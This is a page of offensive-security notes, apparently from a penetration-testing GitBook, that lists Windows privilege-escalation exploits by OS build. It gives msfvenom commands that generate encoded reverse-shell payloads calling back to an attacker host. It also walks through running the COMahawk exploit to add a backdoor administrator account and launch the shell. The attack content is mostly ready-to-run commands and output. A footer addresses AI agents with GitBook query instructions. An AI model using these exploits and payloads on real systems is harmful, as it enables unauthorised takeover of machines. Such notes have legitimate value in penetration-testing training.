> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/readme/windows/privesc/build-exploits.md).

# Build Exploits

### Win 8.1 PRO Build 9600 - x64

ms14-058 - # Windows 8.0 - 8.1 x64 TrackPopupMenu Privilege Escalation (MS14-058)

<https://gist.github.com/AfroThundr3007730/088b2e2ec4ff1eba295e073d1428d85d>

SHELLCODE ->

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.1 LPORT=80 -f c
```

### Microsoft Windows 10 Build 1803 < 1903 - 'COMahawk' Local Privilege Escalation&#x20;

```
$ locate windows/local/47684.md
/usr/share/exploitdb/exploits/windows/local/47684.md
```

```
# System version number

winver - 1803 OS Build 17134.112

REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ReleaseId

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
    ReleaseId    REG_SZ    1803

$ searchsploit 1803

# Microsoft Windows 10 Build 1803 < 1903 - 'COMahawk' Local Privilege Escalation 
| windows/local/47684.md

$ locate windows/local/47684.md
/usr/share/exploitdb/exploits/windows/local/47684.md

C:\Users\test\Desktop>COMahawk.exe
[\] Progress:  1/9 2/9 3/9 4/9 5/9 6/9 7/9 8/9 9/9
[+] Hopefully Tomahawk:RibSt3ak69 is added as an admin.

$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=80 -f exe -e x86/shikata_ga_nai -i 8 -o rev.exe

COMahawk.exe "\Users\test\Desktop\rev.exe &"
```

### Win XP SP0/SP1

<https://sohvaxus.github.io/content/winxp-sp1-privesc.html>

accesscheck.exe - Old Version - <https://xor.cat/assets/other/Accesschk.zip>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/readme/windows/privesc/build-exploits.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
